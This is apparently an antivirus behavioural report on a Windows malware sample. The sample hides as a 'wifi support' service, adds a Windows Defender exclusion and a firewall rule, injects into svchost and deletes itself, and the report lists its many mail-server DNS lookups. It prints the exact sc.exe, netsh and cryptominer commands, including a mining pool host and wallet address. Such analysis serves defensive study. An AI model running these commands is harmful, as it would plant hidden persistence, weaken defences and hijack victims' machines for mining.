Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\ljnuthyh] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ljnuthyh] 'ImagePath' = '%WINDIR%\SysWOW64\ljnuthyh\kshlywff.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\ljnuthyh] 'ImagePath' = '%WINDIR%\SysWOW64\ljnuthyh\kshlywff.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ljnuthyh' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\kshlywff.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\kshlywff.exe to %WINDIR%\syswow64\ljnuthyh\kshlywff.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
- http://www.tr##kip.net/ip
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK hs####lli.inet.fi
- DNS ASK ne####hil.com.ph
- DNS ASK hi##aku.ph
- DNS ASK ns####.cs.upd.edu.ph
- DNS ASK ca#.#ap.edu.ph
- DNS ASK ph#.ph
- DNS ASK lg#.#si.com.ph
- DNS ASK ep#.com.ph
- DNS ASK co##ne.ph
- DNS ASK en##wn.com
- DNS ASK
- DNS ASK ya##o.ph
- DNS ASK mt#.inet.fi
- DNS ASK google.com
- DNS ASK cs#.#lsu.edu.ph
- DNS ASK cs#.#lsu-edu.ph
- DNS ASK ya##o.co.ph
- DNS ASK ai#####ippines.com.ph
- DNS ASK mx#.#entel.it
- DNS ASK me##el.it
- DNS ASK pc###.com.ph
- DNS ASK pa###c.net.ph
- DNS ASK ba###ad.com.ph
- DNS ASK se###ta.com.ph
- DNS ASK mx##.bnr.ca
- DNS ASK no##el.ca
- DNS ASK dl###sb.edu.ph
- DNS ASK ne#a.fi
- DNS ASK ma###w.nesa.fi
- DNS ASK ss#.#odaddy.com
- DNS ASK ya##o.co.nz
- DNS ASK au##.uber.com
- DNS ASK us#######nbound-1.mimecast.com
- DNS ASK vi##l.com
- DNS ASK mx##.#indstream.net
- DNS ASK de##zzd.com
- DNS ASK mx.##ra.co.nz
- DNS ASK xt##.co.nz
- DNS ASK e3#.##.us.ibm.com
- DNS ASK ra###nal.com
- DNS ASK nd##.com
- DNS ASK mx#######b02.gslb.pphosted.com
- DNS ASK ww.#o.nz
- DNS ASK ba######a.cloud.shentel.net
- DNS ASK sh##tel.net
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK ve##zon.com
- DNS ASK ed####1.sne1.net
- DNS ASK bo##kia.com
- DNS ASK ma####.mailtwo.com
- DNS ASK ad##ess.com
- DNS ASK alt2.gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK ha###burton.com
- DNS ASK ma##.tuni.fi
- DNS ASK tu#.fi
- DNS ASK be###mm.nf.ca
- DNS ASK fr##.net.nz
- DNS ASK ro###tmail.com
- DNS ASK sh#w.ca
- DNS ASK ma###.pricon.ph
- DNS ASK pr##on.ph
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ya##o.it
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ya##o.com
- DNS ASK in#####.registeredsite.com
- DNS ASK co###rtec.com
- DNS ASK ro###lepage.com
- DNS ASK ek###er.com.ph
- DNS ASK ti##ali.no
- DNS ASK po#.#nline.no
- DNS ASK io#.it
- DNS ASK cs#.com.ph
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK mi####.bittubeapp.com
- DNS ASK ho##ail.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK li#e.be
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK mx#######d02.gslb.pphosted.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK us#.#upont.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK sm###in.iol.it
- DNS ASK ti#.it
- DNS ASK sm##.tin.it
- DNS ASK ec####.pnoc-ec.com.ph
- DNS ASK pn###ec.com.ph
- DNS ASK mx.##oeuro.com
- DNS ASK ag###holm.dk
- DNS ASK ex##ple.com
- DNS ASK uk.##hjong.dk
- DNS ASK ne##.ing.dk
- DNS ASK mx##.##tzenitmail.dk
- DNS ASK vi#.##bercity.dk
- DNS ASK dk###01.tt.dk
- DNS ASK ma##.skrig.dk
- DNS ASK ak#3.dk
- DNS ASK ya##o.ca
- DNS ASK ap#.###.#rotection.outlook.com
- DNS ASK li##.com.au
- DNS ASK sm####n.virgilio.it
- DNS ASK vi##ilio.it
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ao#.com
- DNS ASK ti###linet.it
- DNS ASK et###.#ail.tiscali.it
- DNS ASK ti##ali.it
- DNS ASK em###.isisecure.it
- DNS ASK is##ine.it
- DNS ASK ho##ail.it
- DNS ASK sm####n.libero.it
- DNS ASK li##ro.it
- DNS ASK sm##.##b.shawcable.net
- DNS ASK sm#######tier.compassnet.co.nz
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\ljnuthyh\kshlywff.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ljnuthyh\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\kshlywff.exe" %WINDIR%\SysWOW64\ljnuthyh\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create ljnuthyh binPath= "%WINDIR%\SysWOW64\ljnuthyh\kshlywff.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description ljnuthyh "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start ljnuthyh' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ljnuthyh\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\kshlywff.exe" %WINDIR%\SysWOW64\ljnuthyh\
- '%WINDIR%\syswow64\sc.exe' create ljnuthyh binPath= "%WINDIR%\SysWOW64\ljnuthyh\kshlywff.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description ljnuthyh "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start ljnuthyh
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3GJeLpK9P2RqEpCXWpirL9u7wrGwoPmTJTemNtc7QpSTE24ybGdgtBmXSxhkTitLPyRh8sVz7qmM9TYnhXoZ6G1kARcnhMT.60000 -p x -k
